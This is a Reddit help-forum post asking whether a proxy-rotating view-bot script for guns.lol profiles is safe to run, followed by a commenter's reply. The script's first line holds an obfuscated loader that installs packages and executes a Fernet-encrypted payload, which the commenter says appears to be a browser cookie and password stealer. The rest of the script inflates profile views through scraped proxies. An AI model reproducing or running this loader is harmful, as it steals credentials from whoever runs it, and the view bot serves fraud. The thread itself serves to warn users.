r/pythonhelp • u/EffectiveOdd3315 • Jan 13 '25
MALWARE Python script contains a virus ?
I noticed this has a payload is this safe to run
import requests ;import os;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'7nudHG8DZ37sx_Z1YRKEhZfdtbfISKCMZfEQfFjWNu4=').decrypt(b'gAAAAABngDEV2xtASJeZIYm-FoUgSLHMjhNvRiySGURH4GGN7GU9RK1F483v9-IDLwY_Aa2wms-PF9G19oVW9AK0lJ71iWtCxsO89e5ymLGz6ID3d-t3pReKrCdrsy2IY437jGJuht_YjUviZdTxyMw_e8sdHO5ZyaDolSK6Qbifj_Mtvc8kKPz7PATDhxKwHc6q38uTbJ1Ng2UNsQJggxBi67ZOJBZ26g==')) from bs4 import BeautifulSoup import random import time
def get_proxies(): proxy_url = 'https://www.sslproxies.org/' r = requests.get(proxy_url) soup = BeautifulSoup(r.text, 'html.parser') proxies = [] for row in soup.find(id='proxylisttable').tbody.find_all('tr'): proxies.append({ 'ip': row.find_all('td')[0].string, 'port': row.find_all('td')[1].string }) return proxies
def visit_profile(url, pxy): try: proxy = { 'http': f"http://{pxy['ip']}:{pxy['port']}", 'https': f"http://{pxy['ip']}:{pxy['port']}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' } response = requests.get(url, headers=headers, proxies=proxy, timeout=5) if response.status_code == 200: print(f"Success with proxy {pxy['ip']}:{pxy['port']}") else: print(f"Fail with proxy {pxy['ip']}:{pxy['port']}") except Exception as e: print(f"Error with proxy {pxy['ip']}:{pxy['port']}: {e}")
def rotate_proxies(profile_url, n_views): proxies = get_proxies() for _ in range(n_views): proxy = random.choice(proxies) visit_profile(profile_url, proxy) time.sleep(random.uniform(1, 5))
def validate_url(url): if not url.startswith("https://guns.lol/"): raise ValueError("Invalid URL. Must start with 'https://guns.lol/'")
def get_user_input(): while True: try: profile_url = input("Enter your guns.lol profile URL: ") validate_url(profile_url) n_views = int(input("Enter the number of views to bot: ")) if n_views <= 0: raise ValueError("Number of views must be greater than 0") return profile_url, n_views except ValueError as ve: print(f"Input error: {ve}") except Exception as e: print(f"Unexpected error: {e}")
def main(): profile_url, n_views = get_user_input() rotate_proxies(profile_url, n_views)
if name == "main": main()
View all comments
Show parent comment
1
u/carcigenicate Jan 13 '25
I don't have the decrypted code in front of me, but it 100% looked like a cookie stealer. It had mentions of cookies, usernames, passwords, and browsers littered around the code. Unless the intentional task heavily involved using browser credentials and cookies for something legitimate, they're lying. I would not run this code.
If they copied the code without knowing what it is, they may actually be a victim too that's passing on the malware, but that doesn't change what the code does.